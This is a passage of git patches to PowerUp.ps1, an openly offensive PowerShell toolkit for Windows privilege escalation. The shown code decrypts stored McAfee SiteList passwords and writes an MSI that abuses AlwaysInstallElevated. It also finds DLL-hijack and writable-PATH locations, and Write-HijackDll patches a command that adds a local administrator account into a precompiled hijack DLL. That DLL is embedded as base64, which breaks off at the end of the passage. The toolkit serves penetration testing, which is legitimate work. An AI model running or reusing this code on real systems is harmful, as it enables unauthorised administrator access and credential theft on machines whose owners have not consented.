SiteList.xml file. .EXAMPLE - + PS C:\> Get-SiteListPassword EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== @@ -3178,7 +3328,7 @@ function Get-SiteListPassword { # declare the encoding/crypto providers we need $Encoding = [System.Text.Encoding]::ASCII - $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider # static McAfee key XOR key LOL @@ -3225,7 +3375,7 @@ function Get-SiteListPassword { if($SiteListXml.InnerXml -Like "*password*") { Write-Verbose "Potential password in found in $Path" - $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { try { $PasswordRaw = $_.Password.'#Text' @@ -3274,7 +3424,7 @@ function Get-SiteListPassword { $XmlFiles | Where-Object { $_ } | Foreach-Object { Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" - Get-SitelistFields -Path $_.Fullname + Get-SitelistFields -Path $_.Fullname } } @@ -3283,7 +3433,7 @@ function Write-UserAddMSI { <# .SYNOPSIS - Writes out a precompiled MSI installer that prompts for a user/group addition. + Writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegAlwaysInstallElevated. .EXAMPLE @@ -3301,13 +3451,13 @@ function Write-UserAddMSI { [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte Write-Verbose "MSI written out to '$Path'" - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'OutputPath' $Path $Out } catch { Write-Warning "Error while writing to location '$Path': $_" - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'OutputPath' $_ $Out } @@ -3358,7 +3508,7 @@ function Invoke-AllChecks { if($IsAdmin){ "[+] Current user already has local administrative privileges!" - + if($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User Has Local Admin Privileges!

    " | Out-File -Append $HtmlReportFile } @@ -3416,7 +3566,7 @@ function Invoke-AllChecks { "`n`n[*] Checking for AlwaysInstallElevated registry key..." if (Get-RegAlwaysInstallElevated) { - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'OutputFile' $OutputFile $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" $Results = $Out From 3c209ee6b34f6fb4052594bb8aa8422d63ef3e35 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 2 Jun 2016 02:01:16 -0400 Subject: [PATCH 148/296] -Get-ModifiableFile renamed to Get-ModifiablePath -Get-VulnSchTask renamed to Get-ModifiableScheduledTaskFile -Get-VulnAutoRun renamed Get-RegistryAutoRun -Get-RegAutoLogon renamed Get-RegistryAutoLogon -Find-DLLHijack renamed to Find-ProcessDLLHijack for clarification, code cleaned up, -Process parameter added, output object detail expanded, and help expanded -Removed most of the code from Find-PathHijack, replacing it with Get-ModifiablePath -Cleaned up logic for Write-HijackDll -Expanded help for the registry enumeration cmdlets -Added local user creation options to Write-HijackDll to match Write-ServiceBinary -Increased pause between user creation commands --- Privesc/PowerUp.ps1 | 579 +++++++++++++++++++++++++------------------- 1 file changed, 330 insertions(+), 249 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 2b75c8e4..9afb945e 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -739,7 +739,7 @@ New-Struct. :P # ######################################################## -function Get-ModifiableFile { +function Get-ModifiablePath { <# .SYNOPSIS @@ -762,7 +762,7 @@ function Get-ModifiableFile { .EXAMPLE - PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile + PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiablePath Path Permissions IdentityReference ---- ----------- ----------------- @@ -1403,7 +1403,7 @@ function Get-ModifiableServiceFile { .DESCRIPTION Enumerates all services by querying the WMI win32_service class. For each service, - it takes the pathname (aka binPath) and passes it to Get-ModifiableFile to determine + it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine if the current user has rights to modify the service binary itself or any associated arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. @@ -1421,7 +1421,7 @@ function Get-ModifiableServiceFile { $ServicePath = $_.pathname $ServiceStartName = $_.startname - $ServicePath | Get-ModifiableFile | ForEach-Object { + $ServicePath | Get-ModifiablePath | ForEach-Object { $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $ServiceName @@ -1958,7 +1958,7 @@ function Write-ServiceBinary { } else { # create a local user and add it to the local specified group - $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 2 && net localgroup $LocalGroup $UserNameToAdd /add" + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" } } } @@ -2142,7 +2142,7 @@ function Install-ServiceBinary { } else { # create a local user and add it to the local specified group - $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 2 && net localgroup $LocalGroup $UserNameToAdd /add" + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" } } } @@ -2158,7 +2158,7 @@ function Install-ServiceBinary { $ServiceDetails = Get-ServiceDetail -Service $TargetService - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiableFile + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." @@ -2255,7 +2255,7 @@ function Restore-ServiceBinary { $ServiceDetails = Get-ServiceDetail -Service $TargetService - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiableFile + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." @@ -2278,16 +2278,30 @@ function Restore-ServiceBinary { ######################################################## # -# .dll Hijacking +# DLL Hijacking # ######################################################## -function Find-DLLHijack { +function Find-ProcessDLLHijack { <# .SYNOPSIS - Checks all loaded modules for each process and returns locations - where a loaded module does not exist in the executable base path. + Finds all DLL hijack locations for currently running processes. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Enumerates all currently running processes with Get-Process (or accepts an + input process object from Get-Process) and enumerates the loaded modules for each. + All loaded module name exists outside of the process binary base path, as those + are DLL load-order hijack candidates. + + .PARAMETER Process + + A System.Diagnostics.Process object from Get-Process to enumerate for possible + DLL path hijack opportunities. .PARAMETER ExcludeWindows @@ -2303,22 +2317,28 @@ function Find-DLLHijack { .EXAMPLE - PS C:\> Find-DLLHijack + PS C:\> Find-ProcessDLLHijack - Finds all hijackable DLL locations. + Finds possible hijackable DLL locations for all processes. .EXAMPLE - PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles + PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack + + Finds possible hijackable DLL locations for the 'VulnProcess' processes. + + .EXAMPLE - Finds all hijackable DLL locations not in C:\Windows\* and + PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles + + Finds possible hijackable DLL locations not in C:\Windows\* and not in C:\Program Files\* or C:\Program Files (x86)\* .EXAMPLE - PS C:\> Find-DLLHijack -ExcludeOwned + PS C:\> Find-ProcessDLLHijack -ExcludeOwned - Finds .DLL hijacking opportunities for processes not owned by the + Finds possible hijackable DLL location for processes not owned by the current user. .LINK @@ -2328,6 +2348,11 @@ function Find-DLLHijack { [CmdletBinding()] Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [System.Diagnostics.Process] + [ValidateNotNullOrEmpty()] + $Process, + [Switch] $ExcludeWindows, @@ -2338,69 +2363,70 @@ function Find-DLLHijack { $ExcludeOwned ) - $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + BEGIN { + # the known DLL cache to exclude from our findings + # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx + $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") + $KnownDLLs = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name) }) | Where-Object { $_.EndsWith(".dll") } + + $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name - # the known DLL cache to exclude from our findings - # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx - $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") - $KnownDLLs = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name) }) | Where-Object { $_.EndsWith(".dll") } + # get the owners for all processes + $Owners = @{} + Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } + } + + PROCESS { - # grab the current user - $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name + if($PSBoundParameters['Process']) { + $TargetProcesses = $Process | Where-Object { $_.Path } + } + else { + $TargetProcesses = Get-Process | Where-Object { $_.Path } + } - # get the owners for all processes - $Owners = @{} - Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user} + ForEach ($TargetProcess in $TargetProcesses) { + $BasePath = $TargetProcess.Path | Split-Path -Parent - # iterate through all current processes that have a valid path - ForEach ($Process in Get-Process | Where-Object {$_.Path}) { + $LoadedModules = $TargetProcess.Modules - # get the base path for the process - $BasePath = $Process.Path | Split-Path -Parent + $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] - # get all the loaded modules for this process - $LoadedModules = $Process.Modules + ForEach ($Module in $LoadedModules){ - # pull out the owner of this process - $ProcessOwner = $Owners[$Process.id.tostring()] + $ModulePath = "$BasePath\$($Module.ModuleName)" - # check each loaded module - ForEach ($Module in $LoadedModules){ + # if the module path doesn't exist in the process base path folder + if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { - # create a basepath + loaded module - $ModulePath = "$BasePath\$($module.ModuleName)" + $Exclude = $False - # if the new module path - if ((-not $ModulePath.Contains("C:\Windows\System32")) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { + $Exclude = $True + } - $Exclude = $False + if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { + $Exclude = $True + } - # check exclusion flags - if ( $ExcludeWindows.IsPresent -and $ModulePath.Contains("C:\Windows") ){ - $Exclude = $True - } - if ( $ExcludeProgramFiles.IsPresent -and $ModulePath.Contains("C:\Program Files") ){ - $Exclude = $True - } - if ( $ExcludeOwned.IsPresent -and $CurrentUser.Contains($ProcessOwner) ){ - $Exclude = $True - } + if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { + $Exclude = $True + } - # output the process name and hijackable path if exclusion wasn't marked - if (-not $Exclude){ - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ProcessPath' $Process.Path - $Out | Add-Member Noteproperty 'Owner' $ProcessOwner - $Out | Add-Member Noteproperty 'HijackablePath' $ModulePath - $Out + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName + $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path + $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner + $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath + $Out + } } } } } - - $ErrorActionPreference = $OrigError } @@ -2408,8 +2434,17 @@ function Find-PathHijack { <# .SYNOPSIS - Checks if the current %PATH% has any directories that are - writeable by the current user. + Finds all directories in the system %PATH% that are modifiable by the current user. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath + to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is + written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search + order loading. .EXAMPLE @@ -2425,121 +2460,109 @@ function Find-PathHijack { [CmdletBinding()] Param() - $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | Get-ModifiablePath +} - $Paths = (Get-Item Env:Path).value.split(';') | Where-Object {$_ -ne ""} - ForEach ($Path in $Paths){ +function Write-HijackDll { +<# + .SYNOPSIS - $Path = $Path.Replace('"',"") - if (-not $Path.EndsWith("\")){ - $Path = $Path + "\" - } - $Path = [System.Environment]::ExpandEnvironmentVariables($Path) + Patches in the path to a specified .bat (containing the specified command) into a + pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. - # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access - $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) + .DESCRIPTION - # if the path doesn't exist, try to create the folder before testing it for write - if(-not $(Test-Path -Path $Path)){ - try { - # try to create the folder - $Null = New-Item -ItemType directory -Path $Path - echo $Null > $TestPath + First builds a self-deleting .bat file that executes the specified -Command or local user, + to add and writes the.bat out to -BatPath. The BatPath is then patched into a pre-compiled + C++ DLL that is built to be hijackable by the IKEEXT service. There are two DLLs, one for + x86 and one for x64, and both are contained as base64-encoded strings. The DLL is then + written out to the specified OutputFile. - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'HijackablePath' $Path - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" - $Out - } - catch {} - finally { - # remove the directory - Remove-Item -Path $Path -Recurse -Force -ErrorAction SilentlyContinue - } - } - else{ - # if the folder already exists - try { - echo $Null > $TestPath + .PARAMETER DllPath - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'HijackablePath' $Path - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" - $Out - } - catch {} - finally { - # Try to remove the item again just to be safe - Remove-Item $TestPath -Force -ErrorAction SilentlyContinue - } - } - } + File name to write the generated DLL out to. - $ErrorActionPreference = $OrigError -} + .PARAMETER Architecture + The Architecture to generate for the DLL, x86 or x64. If not specified, PowerUp + will try to automatically determine the correct architecture. -function Write-HijackDll { -<# - .SYNOPSIS + .PARAMETER BatPath - Writes out a self-deleting 'debug.bat' file that executes a given command to - $env:Temp\debug.bat, and writes out a hijackable .dll that launches the .bat. + Path to the .bat for the DLL to launch. - .PARAMETER OutputFile + .PARAMETER UserName - File name to write the .dll to. + The [domain\]username to add. If not given, it defaults to "john". + Domain users are not created, only added to the specified localgroup. - .PARAMETER Command + .PARAMETER Password - Command to run in the .bat launcher. + The password to set for the added user. If not given, it defaults to "Password123!" - .PARAMETER BatPath + .PARAMETER LocalGroup + + Local group name to add the user to (default of 'Administrators'). - Path to the .bat for the .dll to launch. + .PARAMETER Credential - .PARAMETER Arch + A [Management.Automation.PSCredential] object specifying the user/password to add. - Architeture of .dll to generate, x86 or x64. If not specified, will try to - automatically determine. + .PARAMETER Command + + Custom command to execute instead of user creation. #> [CmdletBinding()] param( [Parameter(Mandatory = $True)] [String] - $OutputFile, + [ValidateNotNullOrEmpty()] + $DllPath, - [Parameter(Mandatory = $True)] [String] - $Command, + [ValidateSet('x86', 'x64')] + $Architecture, [String] + [ValidateNotNullOrEmpty()] $BatPath, [String] - $Arch + $UserName = 'john', + + [String] + $Password = 'Password123!', + + [String] + $LocalGroup = 'Administrators', + + [Management.Automation.PSCredential] + $Credential, + + [String] + [ValidateNotNullOrEmpty()] + $Command ) function local:Invoke-PatchDll { <# .SYNOPSIS - Patches a string in a binary byte array. + Helpers that patches a string in a binary byte array. .PARAMETER DllBytes - Binary blog to patch. + The binary blob to patch. - .PARAMETER FindString + .PARAMETER SearchString - String to search for to replace. + The string to replace in the blob. .PARAMETER ReplaceString - String to replace FindString with + The string to replace SearchString with. #> [CmdletBinding()] @@ -2550,85 +2573,102 @@ function Write-HijackDll { [Parameter(Mandatory = $True)] [String] - $FindString, + $SearchString, [Parameter(Mandatory = $True)] [String] $ReplaceString ) - $FindStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($FindString) - $ReplaceStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($ReplaceString) + $ReplaceStringBytes = ([System.Text.Encoding]::UTF8).GetBytes($ReplaceString) $Index = 0 $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) - $Index = $S.IndexOf($FindString) + $Index = $S.IndexOf($SearchString) - if($Index -eq 0) - { - throw("Could not find string $FindString !") + if($Index -eq 0) { + throw("Could not find string $SearchString !") } - for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) - { + for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) { $DllBytes[$Index+$i]=$ReplaceStringBytes[$i] } return $DllBytes } + if($PSBoundParameters['Command']) { + $BatCommand = $Command + } + else { + if($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $BatCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $BatCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + # generate with base64 -w 0 hijack32.dll > hijack32.b64 $DllBytes32 = "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